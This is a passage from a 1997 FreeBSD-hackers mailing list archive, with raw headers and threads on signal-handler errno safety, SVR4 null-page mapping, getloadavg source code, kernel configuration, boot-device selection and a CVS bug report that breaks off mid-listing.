+0930 (CST) Message-ID: <19970920080554.38866@lemis.com> Date: Sat, 20 Sep 1997 08:05:54 +0930 From: Greg Lehey To: Terry Lambert Cc: Niall Smart , Don.Lewis@tsc.tdk.com, hackers@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: Bug in malloc/free References: <199709192002.NAA29627@usr03.primenet.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199709192002.NAA29627@usr03.primenet.com>; from Terry Lambert on Fri, Sep 19, 1997 at 08:02:33PM +0000 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, Sep 19, 1997 at 08:02:33PM +0000, Terry Lambert wrote: >>>> } We claim to be sort of POSIX conformant. Perhaps this is enough. We >>>> } aren't actually POSIX conformant. All the above "safe" routines may >>>> } clobber the global `errno'. >>>> >>>> Which is why I save and restore errno in signal handlers. >>> >>> Perhaps this should be done by the trampoline code on the user's >>> behalf... >> >> Perhaps that would encourage people to write non-portable code. > > When a read or write fault occurs on page zero in a program running > on SVR4, rather than crashing, the map the page and note the effect. > > There is a kernel tunable that can turn this off, but a great many > legacy programs dereference NULL pointers, expecting a NULL pointer > to be identical to a NULL string. > > The default for SVR4 is arguably incorrect, but it follows the principle > of least astonishment, and allows legacy code to run. It's not just incorrect, it's inconsistent. Some SVR4 do, some SVR4 don't. True SRV4 story (I'll omit the name of the vendor to protect the guilty): they had some problems with a runaway csh which went crazy after the stdin line dropped, and ultimately it killed the system. They determined that, for some reason, csh wasn't responding to SIGHUP. So they introduced a kernel mod to send a SIGKILL after 100 SIGHUPs. Greg From owner-freebsd-hackers Fri Sep 19 15:40:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA15218 for hackers-outgoing; Fri, 19 Sep 1997 15:40:03 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA14836; Fri, 19 Sep 1997 15:36:10 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id IAA17509; Sat, 20 Sep 1997 08:05:54 +0930 (CST) Message-ID: <19970920080554.38866@lemis.com> Date: Sat, 20 Sep 1997 08:05:54 +0930 From: Greg Lehey To: Terry Lambert Cc: Niall Smart , Don.Lewis@tsc.tdk.com, hackers@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: Bug in malloc/free References: <199709192002.NAA29627@usr03.primenet.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199709192002.NAA29627@usr03.primenet.com>; from Terry Lambert on Fri, Sep 19, 1997 at 08:02:33PM +0000 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, Sep 19, 1997 at 08:02:33PM +0000, Terry Lambert wrote: >>>> } We claim to be sort of POSIX conformant. Perhaps this is enough. We >>>> } aren't actually POSIX conformant. All the above "safe" routines may >>>> } clobber the global `errno'. >>>> >>>> Which is why I save and restore errno in signal handlers. >>> >>> Perhaps this should be done by the trampoline code on the user's >>> behalf... >> >> Perhaps that would encourage people to write non-portable code. > > When a read or write fault occurs on page zero in a program running > on SVR4, rather than crashing, the map the page and note the effect. > > There is a kernel tunable that can turn this off, but a great many > legacy programs dereference NULL pointers, expecting a NULL pointer > to be identical to a NULL string. > > The default for SVR4 is arguably incorrect, but it follows the principle > of least astonishment, and allows legacy code to run. It's not just incorrect, it's inconsistent. Some SVR4 do, some SVR4 don't. True SRV4 story (I'll omit the name of the vendor to protect the guilty): they had some problems with a runaway csh which went crazy after the stdin line dropped, and ultimately it killed the system. They determined that, for some reason, csh wasn't responding to SIGHUP. So they introduced a kernel mod to send a SIGKILL after 100 SIGHUPs. Greg From owner-freebsd-hackers Fri Sep 19 15:44:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA15567 for hackers-outgoing; Fri, 19 Sep 1997 15:44:28 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA15519; Fri, 19 Sep 1997 15:44:14 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id IAA17548; Sat, 20 Sep 1997 08:12:43 +0930 (CST) Message-ID: <19970920081243.54396@lemis.com> Date: Sat, 20 Sep 1997 08:12:43 +0930 From: Greg Lehey To: Bruce Evans Cc: phk@critter.freebsd.dk, atrens@nortel.ca, freebsd-bugs@FreeBSD.ORG, gram@cdsec.com, hackers@FreeBSD.ORG, julian@whistle.com, mike@smith.net.au Subject: Re: Bug in malloc/free References: <199709191318.XAA17318@godzilla.zeta.org.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199709191318.XAA17318@godzilla.zeta.org.au>; from Bruce Evans on Fri, Sep 19, 1997 at 11:18:11PM +1000 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, Sep 19, 1997 at 11:18:11PM +1000, Bruce Evans wrote: >> I still seems to me that we need a new function to mean: >> "coredump, right now, no ifs, whens or buts. Thank you." > > A new signal, like SIGKILL except it generates cores, would be useful. > We would have to fix all the assumptions that sigset_t == int to make > room for another signal number. Is that really so important? You can call sigaction from a signal handler, so you can unmask the signal before calling it. A new signal for the sake of a couple of lines of library code? Greg From owner-freebsd-hackers Fri Sep 19 16:15:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA17079 for hackers-outgoing; Fri, 19 Sep 1997 16:15:19 -0700 (PDT) Received: from mexico.brainstorm.eu.org (root@mexico.brainstorm.fr [193.56.58.253]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA17053 for ; Fri, 19 Sep 1997 16:14:51 -0700 (PDT) Received: from brasil.brainstorm.eu.org (brasil.brainstorm.fr [193.56.58.33]) by mexico.brainstorm.eu.org (8.8.4/8.8.4) with ESMTP id BAA13687 for ; Sat, 20 Sep 1997 01:14:39 +0200 Received: (from uucp@localhost) by brasil.brainstorm.eu.org (8.8.6/brasil-1.2) with UUCP id BAA22677 for hackers@FreeBSD.ORG; Sat, 20 Sep 1997 01:14:12 +0200 Received: (from roberto@localhost) by keltia.freenix.fr (8.8.7/keltia-2.10/nospam) id BAA15949; Sat, 20 Sep 1997 01:02:54 +0200 (CEST) Message-ID: <19970920010254.04892@keltia.freenix.fr> Date: Sat, 20 Sep 1997 01:02:54 +0200 From: Ollivier Robert To: hackers@FreeBSD.ORG Subject: Re: cpu load References: <199709172011.NAA13541@usr02.primenet.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.76 In-Reply-To: <199709172011.NAA13541@usr02.primenet.com>; from Terry Lambert on Wed, Sep 17, 1997 at 08:11:30PM +0000 X-Operating-System: FreeBSD 3.0-CURRENT ctm#3649 AMD-K6 MMX @ 208 MHz Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to Terry Lambert: > If it is not a wrapper function for a sysctl(0 call, it should be. UTSL :-) int getloadavg(loadavg, nelem) double loadavg[]; int nelem; { struct loadavg loadinfo; int i, mib[2]; size_t size; mib[0] = CTL_VM; mib[1] = VM_LOADAVG; size = sizeof(loadinfo); if (sysctl(mib, 2, &loadinfo, &size, NULL, 0) < 0) return (-1); nelem = MIN(nelem, sizeof(loadinfo.ldavg) / sizeof(fixpt_t)); for (i = 0; i < nelem; i++) loadavg[i] = (double) loadinfo.ldavg[i] / loadinfo.fscale; return (nelem); } -- Ollivier ROBERT -=- FreeBSD: There are no limits -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 3.0-CURRENT #34: Sun Sep 14 16:30:44 CEST 1997 From owner-freebsd-hackers Fri Sep 19 16:49:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA18861 for hackers-outgoing; Fri, 19 Sep 1997 16:49:48 -0700 (PDT) Received: from usr04.primenet.com (tlambert@usr04.primenet.com [206.165.6.204]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA18831; Fri, 19 Sep 1997 16:49:29 -0700 (PDT) Received: (from tlambert@localhost) by usr04.primenet.com (8.8.5/8.8.5) id QAA19815; Fri, 19 Sep 1997 16:49:07 -0700 (MST) From: Terry Lambert Message-Id: <199709192349.QAA19815@usr04.primenet.com> Subject: Re: Bug in malloc/free To: grog@lemis.com (Greg Lehey) Date: Fri, 19 Sep 1997 23:49:06 +0000 (GMT) Cc: tlambert@primenet.com, nsmart@iona.com, Don.Lewis@tsc.tdk.com, hackers@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG In-Reply-To: <19970920080554.38866@lemis.com> from "Greg Lehey" at Sep 20, 97 08:05:54 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > When a read or write fault occurs on page zero in a program running > > on SVR4, rather than crashing, they map the page and note the effect. [ ... ] > It's not just incorrect, it's inconsistent. Some SVR4 do, some SVR4 > don't. Sorry dude, but if it's derived from USL sources, it does this, unless they've specifically taken it out. If so, then they are probably paying a huge royalty increment for the priveledge, since you pay more (by a factor of 10) for not being exactly their sources for everything but drivers. Seems kind of a petty reason to page huge royalties... Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Sep 19 17:11:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA20107 for hackers-outgoing; Fri, 19 Sep 1997 17:11:40 -0700 (PDT) Received: from gatekeeper.tsc.tdk.com (root@gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA20090; Fri, 19 Sep 1997 17:11:36 -0700 (PDT) Received: from sunrise.gv.tsc.tdk.com (root@sunrise.gv.tsc.tdk.com [192.168.241.191]) by gatekeeper.tsc.tdk.com (8.8.4/8.8.4) with ESMTP id RAA08138; Fri, 19 Sep 1997 17:11:24 -0700 (PDT) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by sunrise.gv.tsc.tdk.com (8.8.5/8.8.5) with ESMTP id RAA04031; Fri, 19 Sep 1997 17:11:23 -0700 (PDT) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id RAA07321; Fri, 19 Sep 1997 17:11:22 -0700 (PDT) From: Don Lewis Message-Id: <199709200011.RAA07321@salsa.gv.tsc.tdk.com> Date: Fri, 19 Sep 1997 17:11:22 -0700 In-Reply-To: Terry Lambert "Re: Bug in malloc/free" (Sep 19, 3:31pm) X-Mailer: Mail User's Shell (7.2.6 alpha(3) 7/19/95) To: Terry Lambert , Don.Lewis@tsc.tdk.com (Don Lewis) Subject: Re: Bug in malloc/free Cc: hackers@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sep 19, 3:31pm, Terry Lambert wrote: } Subject: Re: Bug in malloc/free } > } Subject: Re: Bug in malloc/free } > } } > } We claim to be sort of POSIX conformant. Perhaps this is enough. We } > } aren't actually POSIX conformant. All the above "safe" routines may } > } clobber the global `errno'. } > } > Which is why I save and restore errno in signal handlers. } } Perhaps this should be done by the trampoline code on the user's } behalf... Probably, though it's not necessary if the handler only sets a volatile flag, and it doesn't help those of us who write code that tries to be portable to environments where signal handlers can trash errno. --- Truck From owner-freebsd-hackers Fri Sep 19 17:12:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA20167 for hackers-outgoing; Fri, 19 Sep 1997 17:12:11 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA20153; Fri, 19 Sep 1997 17:12:07 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id JAA17894; Sat, 20 Sep 1997 09:41:55 +0930 (CST) Message-ID: <19970920094155.13744@lemis.com> Date: Sat, 20 Sep 1997 09:41:55 +0930 From: Greg Lehey To: Terry Lambert Cc: nsmart@iona.com, Don.Lewis@tsc.tdk.com, hackers@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: Bug in malloc/free References: <19970920080554.38866@lemis.com> <199709192349.QAA19815@usr04.primenet.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199709192349.QAA19815@usr04.primenet.com>; from Terry Lambert on Fri, Sep 19, 1997 at 11:49:06PM +0000 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, Sep 19, 1997 at 11:49:06PM +0000, Terry Lambert wrote: >>> When a read or write fault occurs on page zero in a program running >>> on SVR4, rather than crashing, they map the page and note the effect. > > [ ... ] > >> It's not just incorrect, it's inconsistent. Some SVR4 do, some SVR4 >> don't. > > Sorry dude, but if it's derived from USL sources, it does this, > unless they've specifically taken it out. If you say so. Then they've specifically taken it out. > If so, then they are probably paying a huge royalty increment for > the priveledge, since you pay more (by a factor of 10) for not being > exactly their sources for everything but drivers. *All* the SVR4 systems I know deviate elsewhere than the drivers. > Seems kind of a petty reason to page huge royalties... Yes, that's the impression that Tandem had too. But how can you ship a product that's full of bugs? Greg From owner-freebsd-hackers Fri Sep 19 17:15:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA20346 for hackers-outgoing; Fri, 19 Sep 1997 17:15:24 -0700 (PDT) Received: from zippy.dyn.ml.org (garbanzo@tibet-39.ppp.hooked.net [206.80.9.167]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA20326 for ; Fri, 19 Sep 1997 17:15:09 -0700 (PDT) Received: from localhost (garbanzo@localhost) by zippy.dyn.ml.org (8.8.7/8.8.7) with SMTP id RAA01292 for ; Fri, 19 Sep 1997 17:15:23 -0700 (PDT) X-Authentication-Warning: zippy.dyn.ml.org: garbanzo owned process doing -bs Date: Fri, 19 Sep 1997 17:15:23 -0700 (PDT) From: Alex To: hackers@FreeBSD.ORG Subject: Re: Higher-level kernel config? In-Reply-To: <199709192006.NAA29936@usr03.primenet.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 19 Sep 1997, Terry Lambert wrote: > > I was just noticing that I have 3 or 4 customized config files here for > > various FreeBSD machines, and that stuff changes in the GENERIC and LINT > > files *much* more often than I change hardware in my machines. > > > I'm curious: could there ever be a case where you would not want to > include a driver for hardware that was actually in your machine? If > not, then I think dynamic autoconfiguration is the way to go. Yes, for instance I have a 3c509 in my system, and Win98 trys to use dhcp over it automatically, even though at the moment I'm not using an ethernet network. Or say if I wanted to use my external modem instead of my internal without changing my /dev/modem symlink. - alex From owner-freebsd-hackers Fri Sep 19 17:47:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA21888 for hackers-outgoing; Fri, 19 Sep 1997 17:47:12 -0700 (PDT) Received: from fly.HiWAAY.net (root@fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA21877 for ; Fri, 19 Sep 1997 17:47:08 -0700 (PDT) Received: from nospam.hiwaay.net (tnt1-29.HiWAAY.net [208.147.147.29]) by fly.HiWAAY.net (8.8.6/8.8.6) with ESMTP id TAA07055; Fri, 19 Sep 1997 19:47:05 -0500 (CDT) Received: from localhost (localhost [127.0.0.1]) by nospam.hiwaay.net (8.8.7/8.8.4) with ESMTP id SAA25757; Fri, 19 Sep 1997 18:48:20 -0500 (CDT) Message-Id: <199709192348.SAA25757@nospam.hiwaay.net> X-Mailer: exmh version 2.0zeta 7/24/97 To: "Jamil J. Weatherbee" cc: freebsd-hackers@FreeBSD.ORG From: dkelly@hiwaay.net Subject: Re: The IMPORTANCE of real time under freebsd. In-reply-to: Message from "Jamil J. Weatherbee" of "Thu, 18 Sep 1997 21:23:32 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 19 Sep 1997 18:48:20 -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Jamil J. Weatherbee asks: > > BTW Anybody know of any good speech recognition HARDWARE (or software, but > I doubt that exists) that could be used for voice control in a medium > sized room i.e.i.e mic hanging from center of ceiling (probably dictionary > based). Also speech synthesis hardware that is dictionary based (with a > female voice preferably) that could be run through a PA system. I haven't tried it the way you suggest but PowerMac's come with hardware and software for speaker independent speech recognition and synthesis, standard equipment. Includes a number of choices, male, female, and synthetic, for speech output. New PowerMacs clones (fire sales) are down as low as $1k. Some sell bare-bones no memory no HD boxes for $500. Most "bare" systems still include video hardware, SCSI, and ethernet as they are all built into the MB. Some also offer EIDE interfaces and support for PS/2 mouse and keyboards. -- David Kelly N4HHE, dkelly@hiwaay.net ===================================================================== The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. From owner-freebsd-hackers Fri Sep 19 17:47:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA21900 for hackers-outgoing; Fri, 19 Sep 1997 17:47:14 -0700 (PDT) Received: from fly.HiWAAY.net (root@fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA21876 for ; Fri, 19 Sep 1997 17:47:07 -0700 (PDT) Received: from nospam.hiwaay.net (tnt1-29.HiWAAY.net [208.147.147.29]) by fly.HiWAAY.net (8.8.6/8.8.6) with ESMTP id TAA07608 for ; Fri, 19 Sep 1997 19:47:03 -0500 (CDT) Received: from localhost (localhost [127.0.0.1]) by nospam.hiwaay.net (8.8.7/8.8.4) with ESMTP id SAA25784 for ; Fri, 19 Sep 1997 18:55:35 -0500 (CDT) Message-Id: <199709192355.SAA25784@nospam.hiwaay.net> X-Mailer: exmh version 2.0zeta 7/24/97 To: freebsd-hackers@FreeBSD.ORG From: dkelly@hiwaay.net Subject: Re: PcWeek Review In-reply-to: Message from Jim Bryant of "Fri, 19 Sep 1997 14:24:12 CDT." <199709191924.OAA02214@argus.tfs.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 19 Sep 1997 18:55:35 -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Jim Bryant writes: > > In reply: > > Another (good) review about FreeBSD, this one by PcWeek: > > > > http://www8.zdnet.com/pcweek/reviews/0908/08free.html > > it's good to see good press for FreeBSD, but I must admit, this > article left me wondering how to get to the next page of it... > > kind of abrupt ending, with absolutely no performance reviewing, also > the article was kind of dry reading. Agreed. I felt moved to query them about their use of Apache-SSL on their intranet. As I understand the licensing issues this still isn't legal without a license from RSA. At least not if you are being paid to do it, or it is being used in a commercial environment. I suggested this was a topic for a future article and pointed them at the Apache Week web site for more info. -- David Kelly N4HHE, dkelly@hiwaay.net ===================================================================== The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. From owner-freebsd-hackers Fri Sep 19 17:50:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA22149 for hackers-outgoing; Fri, 19 Sep 1997 17:50:44 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA22144 for ; Fri, 19 Sep 1997 17:50:40 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by mail.cdsnet.net (8.8.6/8.8.6) with SMTP id RAA14755 for ; Fri, 19 Sep 1997 17:50:38 -0700 (PDT) Date: Fri, 19 Sep 1997 17:50:37 -0700 (PDT) From: Jaye Mathisen To: hackers@freebsd.org Subject: Is there a way to prompt for boot device? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk ie, my kernel might have sd8 as the root device, but for other reasons, when I boot, I might want sd0 as the root device. I thought the -r or -a options would do it, but that's not quite what I expected. From owner-freebsd-hackers Fri Sep 19 18:23:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA23707 for hackers-outgoing; Fri, 19 Sep 1997 18:23:54 -0700 (PDT) Received: from zeus.xtalwind.net (xtal32.xtalwind.net [205.160.242.83]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA23677; Fri, 19 Sep 1997 18:23:46 -0700 (PDT) Received: from localhost (zeus.xtalwind.net [127.0.0.1]) by zeus.xtalwind.net (8.8.7/8.8.5) with SMTP id VAA29619; Fri, 19 Sep 1997 21:23:29 -0400 (EDT) Date: Fri, 19 Sep 1997 21:23:29 -0400 (EDT) From: jack X-Sender: jack@zeus.xtalwind.net To: Greg Lehey cc: hackers@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: Bug in malloc/free In-Reply-To: <19970920094155.13744@lemis.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, 20 Sep 1997, Greg Lehey wrote: > But how can you ship a product that's full of bugs? Bill Gates can certainly answer that question for you. :) -------------------------------------------------------------------------- Jack O'Neill Finger jacko@diamond.xtalwind.net or jack@xtalwind.net http://www.xtalwind.net/~jacko/pubpgp.html #include for my PGP key. PGP Key fingerprint = F6 C4 E6 D4 2F 15 A7 67 FD 09 E9 3C 5F CC EB CD -------------------------------------------------------------------------- From owner-freebsd-hackers Fri Sep 19 18:29:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA23959 for hackers-outgoing; Fri, 19 Sep 1997 18:29:28 -0700 (PDT) Received: from hydrogen.nike.efn.org (resnet.uoregon.edu [128.223.170.28]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA23954 for ; Fri, 19 Sep 1997 18:29:24 -0700 (PDT) Received: (from jmg@localhost) by hydrogen.nike.efn.org (8.8.7/8.8.7) id SAA07935; Fri, 19 Sep 1997 18:29:23 -0700 (PDT) Message-ID: <19970919182923.23907@hydrogen.nike.efn.org> Date: Fri, 19 Sep 1997 18:29:23 -0700 From: John-Mark Gurney To: FreeBSD Hackers Subject: I will be gone for the next couple days... Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 Reply-To: John-Mark Gurney Organization: Cu Networking X-Operating-System: FreeBSD 2.2.1-RELEASE i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I will be gone till Sunday evening... I maybe able to check my mail but that is VERY iffy... -- John-Mark Gurney Modem/FAX: +1 541 683 6954 Cu Networking Live in Peace, destroy Micro$oft, support free software, run FreeBSD From owner-freebsd-hackers Fri Sep 19 19:06:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA25455 for hackers-outgoing; Fri, 19 Sep 1997 19:06:01 -0700 (PDT) Received: from pcpsj.pfcs.com (QuPZF97i15gUziQBOXU0yRkvWli7fswj@harlan.fred.net [205.252.219.31]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA25448 for ; Fri, 19 Sep 1997 19:05:55 -0700 (PDT) Received: from mumps.pfcs.com (mumps.pfcs.com [192.52.69.11]) by pcpsj.pfcs.com (8.8.6/8.6.9) with SMTP id WAA12208; Fri, 19 Sep 1997 22:05:49 -0400 (EDT) Received: from localhost by mumps.pfcs.com with SMTP id AA22933 (5.67b/IDA-1.5); Fri, 19 Sep 1997 22:05:48 -0400 To: Terry Lambert Cc: hackers@FreeBSD.ORG Subject: Re: Higher-level kernel config? In-Reply-To: Your message of "Fri, 19 Sep 1997 20:06:07 -0000." <199709192006.NAA29936@usr03.primenet.com> Date: Fri, 19 Sep 1997 22:05:46 -0300 Message-Id: <22931.874721146@mumps.pfcs.com> From: Harlan Stenn Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The only time I'd disable something that was already there would be for my sound cards, since I have never figured out how to get all of the parts of the SoundBlaster working with a network card. Then again, if the autoconfigure stuff only "allowed" things that fully configured, or only used them when asked for, I'd be happy. H From owner-freebsd-hackers Fri Sep 19 19:19:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA26027 for hackers-outgoing; Fri, 19 Sep 1997 19:19:41 -0700 (PDT) Received: from smoke.marlboro.vt.us (smoke.marlboro.vt.us [198.206.215.91]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA26021 for ; Fri, 19 Sep 1997 19:19:38 -0700 (PDT) Received: (from cgull@localhost) by smoke.marlboro.vt.us (8.8.7/8.8.7/cgull) id WAA13122; Fri, 19 Sep 1997 22:19:30 -0400 (EDT) Date: Fri, 19 Sep 1997 22:19:30 -0400 (EDT) Message-Id: <199709200219.WAA13122@smoke.marlboro.vt.us> From: john hood MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Jaye Mathisen Cc: hackers@FreeBSD.ORG Subject: Is there a way to prompt for boot device? In-Reply-To: References: X-Mailer: VM 6.31 under Emacs 19.34.2 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Jaye Mathisen writes: > ie, my kernel might have sd8 as the root device, but for other reasons, > when I boot, I might want sd0 as the root device. > > I thought the -r or -a options would do it, but that's not quite what I > expected. at least in 2.2.2, boot -a works only if you have the kernel configured with "swap generic", which i think is not generally recommended, though i can't remember why. --jh -- John Hood cgull@smoke.marlboro.vt.us Predictably, they all eventually wandered away, rubbing their bruises and brushing mud out of their hair. Some went off to work for the ESA, launching much smaller rockets into low orbits, while others elected to sit on their front porches drinking Jim Beam from the bottle and launching bottle rockets from the empties. [Jordan Hubbard] From owner-freebsd-hackers Fri Sep 19 19:38:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA26847 for hackers-outgoing; Fri, 19 Sep 1997 19:38:03 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA26842 for ; Fri, 19 Sep 1997 19:38:00 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id TAA04295; Fri, 19 Sep 1997 19:34:07 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd004291; Sat Sep 20 02:34:03 1997 Message-ID: <34233657.2781E494@whistle.com> Date: Fri, 19 Sep 1997 19:35:03 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: "info-cvs@prep.ai.mit.edu" , hackers@freebsd.org CC: julian@whistle.com Subject: CVS BUG and FIX. References: <34135B01.6201DD56@whistle.com> Content-Type: multipart/mixed; boundary="------------15FB7483794BDF32446B9B3D" Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk This is a multi-part message in MIME format. --------------15FB7483794BDF32446B9B3D Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit A few weeks ago I sent the following mail: It contained a patch that "almost" worked. Below I include what appears to be a more complete patch. Interestingly the existing code does not work as advertised in the following case: access; symbols RELENG_2_2_2_RELEASE:1.2 RELENG_2_2_1_RELEASE:1.2 RELENG_2_2_0_RELEASE:1.2 RELENG_2_1_7_RELEASE:1.2.4.1 RELENG_2_1_6_1_RELEASE:1.2.4.1 RELENG_2_1_6_RELEASE:1.2.4.1 RELENG_2_2:1.2.0.6 RELENG_2_2_BP:1.2 RELENG_2_1_5_RELEASE:1.2.4.1 RELENG_2_1_0_RELEASE:1.2 RELENG_2_1_0:1.2.0.4 RELENG_2_1_0_BP:1.2 RELENG_2_0_5_RELEASE:1.2 